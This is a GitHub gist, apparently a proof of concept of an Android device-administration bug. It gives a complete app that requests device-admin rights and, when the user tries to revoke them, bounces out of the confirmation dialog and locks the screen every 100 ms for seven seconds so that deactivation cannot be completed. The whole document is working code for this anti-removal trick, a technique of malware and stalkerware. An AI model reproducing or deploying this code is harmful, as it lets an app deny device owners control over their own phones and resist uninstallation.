Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Device Administration Bug
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="me.x2bab.deviceadmintrick" >
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name=".WhatTheHell"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<receiver
android:name=".MyDeviceReceiver"
android:description="@string/receiver_description"
android:label="@string/app_name"
android:permission="android.permission.BIND_DEVICE_ADMIN">
<meta-data
android:name="android.app.device_admin"
android:resource="@xml/device_manager_policies" />
<intent-filter>
<!--此处必须设定该Action,不设定则无法启动设备管理器,之前版本可启动但看不到的bug已被修复-->
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>
</application>
</manifest>
<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
<uses-policies>
<force-lock />
</uses-policies>
</device-admin>
import android.app.admin.DeviceAdminReceiver;
import android.app.admin.DevicePolicyManager;
import android.content.Context;
import android.content.Intent;
public class MyDeviceReceiver extends DeviceAdminReceiver {
@Override
public void onReceive(Context context, Intent intent) {
super.onReceive(context, intent);
}
@Override
public CharSequence onDisableRequested(Context context, Intent intent) {
//跳离当前询问是否取消激活的 dialog
Intent outOfDialog = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");
outOfDialog.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(outOfDialog);
//调用设备管理器本身的功能,每 100ms 锁屏一次,用户即便解锁也会立即被锁,直至 7s 后
final DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE);
dpm.lockNow();
new Thread(new Runnable() {
@Override
public void run() {
int i = 0;
while (i < 70) {
dpm.lockNow();
try {
Thread.sleep(100);
i++;
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}).start();
return "";
}
}
import android.app.Activity;
import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
import android.content.Intent;
import android.os.Bundle;
public class WhatTheHell extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_what_the_hell);
Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
ComponentName deviceComponentName = new ComponentName("me.x2bab.deviceadmintrick",
"me.x2bab.deviceadmintrick.MyDeviceReceiver");
intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, deviceComponentName);
this.startActivity(intent);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.